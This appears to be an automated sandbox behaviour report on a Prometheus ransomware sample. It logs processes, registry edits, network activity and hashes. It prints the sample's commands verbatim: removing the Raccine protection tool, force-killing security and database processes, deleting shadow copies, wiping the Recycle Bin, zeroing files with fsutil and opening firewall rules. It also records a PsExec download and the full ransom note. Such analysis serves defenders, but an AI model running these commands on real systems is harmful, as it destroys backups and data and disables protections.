PID 2020 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\arp.exe
PID 2020 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\arp.exe
PID 2020 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\arp.exe
PID 2020 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe

"C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe"

C:\Windows\system32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\system32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\system32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\system32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\system32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\system32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.poweradmin.com udp
US 52.1.55.52:443 www.poweradmin.com tcp
US 8.8.8.8:53 live.sysinternals.com udp
GB 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp

Files

memory/2020-60-0x00000000002F0000-0x00000000002F1000-memory.dmp

memory/2020-62-0x000000001B070000-0x000000001B072000-memory.dmp

memory/1068-63-0x0000000000000000-mapping.dmp

memory/268-64-0x0000000000000000-mapping.dmp

memory/968-65-0x0000000000000000-mapping.dmp

memory/1156-66-0x0000000000000000-mapping.dmp

memory/932-67-0x0000000000000000-mapping.dmp

memory/552-70-0x0000000000000000-mapping.dmp

memory/764-69-0x0000000000000000-mapping.dmp

memory/544-68-0x0000000000000000-mapping.dmp

memory/544-71-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

memory/860-72-0x0000000000000000-mapping.dmp

memory/1884-74-0x0000000000000000-mapping.dmp

memory/1796-73-0x0000000000000000-mapping.dmp

memory/1712-75-0x0000000000000000-mapping.dmp

memory/1364-76-0x0000000000000000-mapping.dmp

memory/1084-78-0x0000000000000000-mapping.dmp

memory/804-77-0x0000000000000000-mapping.dmp

memory/1660-79-0x0000000000000000-mapping.dmp

memory/320-80-0x0000000000000000-mapping.dmp

memory/1904-83-0x0000000000000000-mapping.dmp

memory/1716-82-0x0000000000000000-mapping.dmp

memory/1764-84-0x0000000000000000-mapping.dmp

memory/1336-85-0x0000000000000000-mapping.dmp

memory/688-86-0x0000000000000000-mapping.dmp

memory/1372-87-0x0000000000000000-mapping.dmp

memory/1504-88-0x0000000000000000-mapping.dmp

memory/468-89-0x0000000000000000-mapping.dmp

memory/1140-90-0x0000000000000000-mapping.dmp

memory/1616-91-0x0000000000000000-mapping.dmp

memory/616-92-0x0000000000000000-mapping.dmp

memory/1788-93-0x0000000000000000-mapping.dmp

memory/864-94-0x0000000000000000-mapping.dmp

memory/1528-95-0x0000000000000000-mapping.dmp

memory/316-96-0x0000000000000000-mapping.dmp

memory/1676-97-0x0000000000000000-mapping.dmp

memory/1896-98-0x0000000000000000-mapping.dmp

memory/1644-99-0x0000000000000000-mapping.dmp

memory/1520-100-0x0000000000000000-mapping.dmp

memory/2004-101-0x0000000000000000-mapping.dmp

memory/524-102-0x0000000000000000-mapping.dmp

memory/2016-103-0x0000000000000000-mapping.dmp

memory/980-104-0x0000000000000000-mapping.dmp

memory/572-105-0x0000000000000000-mapping.dmp

memory/1780-106-0x0000000000000000-mapping.dmp

memory/1756-107-0x0000000000000000-mapping.dmp

memory/1664-108-0x0000000000000000-mapping.dmp

memory/820-109-0x0000000000000000-mapping.dmp

memory/1516-112-0x0000000000000000-mapping.dmp

memory/1808-111-0x0000000000000000-mapping.dmp

memory/1612-110-0x0000000000000000-mapping.dmp

memory/1120-113-0x0000000000000000-mapping.dmp

memory/1340-114-0x0000000000000000-mapping.dmp

memory/1684-115-0x0000000000000000-mapping.dmp

memory/336-116-0x0000000000000000-mapping.dmp

memory/1768-117-0x0000000000000000-mapping.dmp

memory/936-118-0x0000000000000000-mapping.dmp

memory/1620-119-0x0000000000000000-mapping.dmp

memory/772-121-0x0000000000000000-mapping.dmp

memory/584-120-0x0000000000000000-mapping.dmp

memory/1508-124-0x0000000000000000-mapping.dmp

memory/1172-123-0x0000000000000000-mapping.dmp

memory/1056-122-0x0000000000000000-mapping.dmp

memory/1772-125-0x0000000000000000-mapping.dmp

memory/1368-126-0x0000000000000000-mapping.dmp

memory/1892-127-0x0000000000000000-mapping.dmp

memory/1892-130-0x000000001AED0000-0x000000001AED1000-memory.dmp

memory/1892-129-0x0000000001E30000-0x0000000001E31000-memory.dmp

memory/1892-131-0x000000001AE50000-0x000000001AE52000-memory.dmp

memory/1892-132-0x000000001AE54000-0x000000001AE56000-memory.dmp

memory/1892-133-0x00000000022C0000-0x00000000022C1000-memory.dmp

memory/1892-134-0x00000000023E0000-0x00000000023E1000-memory.dmp

memory/1616-135-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 bf8e4443454ca3fe4546ff0a5f591007
SHA1 7ee56c5285b097ec90539a9ceec19f522cf4ff19
SHA256 204fa44cea4b9265a791ff02eebd153a2676f7d5690ffd92f08ba94a0a608222
SHA512 cee527a4d8a17f73aaad4c59784ab1dfe2b9e417e1d34716311e1fcda306cf089e7e65a8edffd5bf1a548492f897ddaf2882a020f464cb3f0d9365cc5de91fbe

Analysis: behavioral2

Detonation Overview

Submitted

2021-07-10 19:49

Reported

2021-07-10 19:55

Platform

win10v20210410

Max time kernel

254s

Max time network

270s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Downloads MZ/PE file

Downloads PsExec from SysInternals website

Description Indicator Process Target
HTTP URL http://live.sysinternals.com/PsExec64.exe N/A N/A

Modifies Windows Firewall

evasion

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\WriteRestore.tiff C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
File opened for modification C:\Users\Admin\Pictures\ConnectUnprotect.tiff C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExportShow.tiff C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
